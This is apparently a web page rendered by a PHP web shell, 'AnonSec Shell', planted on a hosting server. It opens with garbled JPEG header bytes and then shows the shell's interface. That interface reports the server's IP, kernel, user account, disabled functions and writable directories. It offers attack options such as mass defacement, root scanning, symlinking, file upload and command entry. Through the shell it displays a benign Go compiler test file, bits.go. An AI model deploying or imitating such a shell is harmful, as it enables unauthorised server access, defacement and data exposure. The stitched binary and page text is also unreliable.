JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.37.143  /  Your IP : 216.73.217.108   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux sg-nme-web1234.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u157516162 ( 157516162)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/opt/golang/1.19.4/test/codegen/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/proc/self/root/opt/golang/1.19.4/test/codegen/bits.go
// asmcheck

// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package codegen

import "math/bits"

/************************************
 * 64-bit instructions
 ************************************/

func bitcheck64_constleft(a uint64) (n int) {
	// amd64:"BTQ\t[$]63"
	if a&(1<<63) != 0 {
		return 1
	}
	// amd64:"BTQ\t[$]60"
	if a&(1<<60) != 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if a&(1<<0) != 0 {
		return 1
	}
	return 0
}

func bitcheck64_constright(a [8]uint64) (n int) {
	// amd64:"BTQ\t[$]63"
	if (a[0]>>63)&1 != 0 {
		return 1
	}
	// amd64:"BTQ\t[$]63"
	if a[1]>>63 != 0 {
		return 1
	}
	// amd64:"BTQ\t[$]63"
	if a[2]>>63 == 0 {
		return 1
	}
	// amd64:"BTQ\t[$]60"
	if (a[3]>>60)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]1"
	if (a[4]>>1)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if (a[5]>>0)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]7"
	if (a[6]>>5)&4 == 0 {
		return 1
	}
	return 0
}

func bitcheck64_var(a, b uint64) (n int) {
	// amd64:"BTQ"
	if a&(1<<(b&63)) != 0 {
		return 1
	}
	// amd64:"BTQ",-"BT.\t[$]0"
	if (b>>(a&63))&1 != 0 {
		return 1
	}
	return 0
}

func bitcheck64_mask(a uint64) (n int) {
	// amd64:"BTQ\t[$]63"
	if a&0x8000000000000000 != 0 {
		return 1
	}
	// amd64:"BTQ\t[$]59"
	if a&0x800000000000000 != 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if a&0x1 != 0 {
		return 1
	}
	return 0
}

func biton64(a, b uint64) (n uint64) {
	// amd64:"BTSQ"
	n += b | (1 << (a & 63))

	// amd64:"BTSQ\t[$]63"
	n += a | (1 << 63)

	// amd64:"BTSQ\t[$]60"
	n += a | (1 << 60)

	// amd64:"ORQ\t[$]1"
	n += a | (1 << 0)

	return n
}

func bitoff64(a, b uint64) (n uint64) {
	// amd64:"BTRQ"
	n += b &^ (1 << (a & 63))

	// amd64:"BTRQ\t[$]63"
	n += a &^ (1 << 63)

	// amd64:"BTRQ\t[$]60"
	n += a &^ (1 << 60)

	// amd64:"ANDQ\t[$]-2"
	n += a &^ (1 << 0)

	return n
}

func bitcompl64(a, b uint64) (n uint64) {
	// amd64:"BTCQ"
	n += b ^ (1 << (a & 63))

	// amd64:"BTCQ\t[$]63"
	n += a ^ (1 << 63)

	// amd64:"BTCQ\t[$]60"
	n += a ^ (1 << 60)

	// amd64:"XORQ\t[$]1"
	n += a ^ (1 << 0)

	return n
}

/************************************
 * 32-bit instructions
 ************************************/

func bitcheck32_constleft(a uint32) (n int) {
	// amd64:"BTL\t[$]31"
	if a&(1<<31) != 0 {
		return 1
	}
	// amd64:"BTL\t[$]28"
	if a&(1<<28) != 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if a&(1<<0) != 0 {
		return 1
	}
	return 0
}

func bitcheck32_constright(a [8]uint32) (n int) {
	// amd64:"BTL\t[$]31"
	if (a[0]>>31)&1 != 0 {
		return 1
	}
	// amd64:"BTL\t[$]31"
	if a[1]>>31 != 0 {
		return 1
	}
	// amd64:"BTL\t[$]31"
	if a[2]>>31 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]28"
	if (a[3]>>28)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]1"
	if (a[4]>>1)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if (a[5]>>0)&1 == 0 {
		return 1
	}
	// amd64:"BTL\t[$]7"
	if (a[6]>>5)&4 == 0 {
		return 1
	}
	return 0
}

func bitcheck32_var(a, b uint32) (n int) {
	// amd64:"BTL"
	if a&(1<<(b&31)) != 0 {
		return 1
	}
	// amd64:"BTL",-"BT.\t[$]0"
	if (b>>(a&31))&1 != 0 {
		return 1
	}
	return 0
}

func bitcheck32_mask(a uint32) (n int) {
	// amd64:"BTL\t[$]31"
	if a&0x80000000 != 0 {
		return 1
	}
	// amd64:"BTL\t[$]27"
	if a&0x8000000 != 0 {
		return 1
	}
	// amd64:"BTL\t[$]0"
	if a&0x1 != 0 {
		return 1
	}
	return 0
}

func biton32(a, b uint32) (n uint32) {
	// amd64:"BTSL"
	n += b | (1 << (a & 31))

	// amd64:"BTSL\t[$]31"
	n += a | (1 << 31)

	// amd64:"BTSL\t[$]28"
	n += a | (1 << 28)

	// amd64:"ORL\t[$]1"
	n += a | (1 << 0)

	return n
}

func bitoff32(a, b uint32) (n uint32) {
	// amd64:"BTRL"
	n += b &^ (1 << (a & 31))

	// amd64:"BTRL\t[$]31"
	n += a &^ (1 << 31)

	// amd64:"BTRL\t[$]28"
	n += a &^ (1 << 28)

	// amd64:"ANDL\t[$]-2"
	n += a &^ (1 << 0)

	return n
}

func bitcompl32(a, b uint32) (n uint32) {
	// amd64:"BTCL"
	n += b ^ (1 << (a & 31))

	// amd64:"BTCL\t[$]31"
	n += a ^ (1 << 31)

	// amd64:"BTCL\t[$]28"
	n += a ^ (1 << 28)

	// amd64:"XORL\t[$]1"
	n += a ^ (1 << 0)

	return n
}

// check direct operation on memory with constant and shifted constant sources
func bitOpOnMem(a []uint32, b, c, d uint32) {
	// amd64:`ANDL\s[$]200,\s\([A-Z][A-Z0-9]+\)`
	a[0] &= 200
	// amd64:`ORL\s[$]220,\s4\([A-Z][A-Z0-9]+\)`
	a[1] |= 220
	// amd64:`XORL\s[$]240,\s8\([A-Z][A-Z0-9]+\)`
	a[2] ^= 240
}

func bitcheckMostNegative(b uint8) bool {
	// amd64:"TESTB"
	return b&0x80 == 0x80
}

// Check AND masking on arm64 (Issue #19857)

func and_mask_1(a uint64) uint64 {
	// arm64:`AND\t`
	return a & ((1 << 63) - 1)
}

func and_mask_2(a uint64) uint64 {
	// arm64:`AND\t`
	return a & (1 << 63)
}

func and_mask_3(a, b uint32) (uint32, uint32) {
	// arm/7:`BIC`,-`AND`
	a &= 0xffffaaaa
	// arm/7:`BFC`,-`AND`,-`BIC`
	b &= 0xffc003ff
	return a, b
}

// Check generation of arm64 BIC/EON/ORN instructions

func op_bic(x, y uint32) uint32 {
	// arm64:`BIC\t`,-`AND`
	return x &^ y
}

func op_eon(x, y, z uint32, a []uint32, n, m uint64) uint64 {
	// arm64:`EON\t`,-`EOR`,-`MVN`
	a[0] = x ^ (y ^ 0xffffffff)

	// arm64:`EON\t`,-`EOR`,-`MVN`
	a[1] = ^(y ^ z)

	// arm64:`EON\t`,-`XOR`
	a[2] = x ^ ^z

	// arm64:`EON\t`,-`EOR`,-`MVN`
	return n ^ (m ^ 0xffffffffffffffff)
}

func op_orn(x, y uint32) uint32 {
	// arm64:`ORN\t`,-`ORR`
	return x | ^y
}

// check bitsets
func bitSetPowerOf2Test(x int) bool {
	// amd64:"BTL\t[$]3"
	return x&8 == 8
}

func bitSetTest(x int) bool {
	// amd64:"ANDL\t[$]9, AX"
	// amd64:"CMPQ\tAX, [$]9"
	return x&9 == 9
}

// mask contiguous one bits
func cont1Mask64U(x uint64) uint64 {
	// s390x:"RISBGZ\t[$]16, [$]47, [$]0,"
	return x & 0x0000ffffffff0000
}

// mask contiguous zero bits
func cont0Mask64U(x uint64) uint64 {
	// s390x:"RISBGZ\t[$]48, [$]15, [$]0,"
	return x & 0xffff00000000ffff
}

func issue44228a(a []int64, i int) bool {
	// amd64: "BTQ", -"SHL"
	return a[i>>6]&(1<<(i&63)) != 0
}
func issue44228b(a []int32, i int) bool {
	// amd64: "BTL", -"SHL"
	return a[i>>5]&(1<<(i&31)) != 0
}

func issue48467(x, y uint64) uint64 {
	// arm64: -"NEG"
	d, borrow := bits.Sub64(x, y, 0)
	return x - d&(-borrow)
}

Anon7 - 2022
AnonSec Team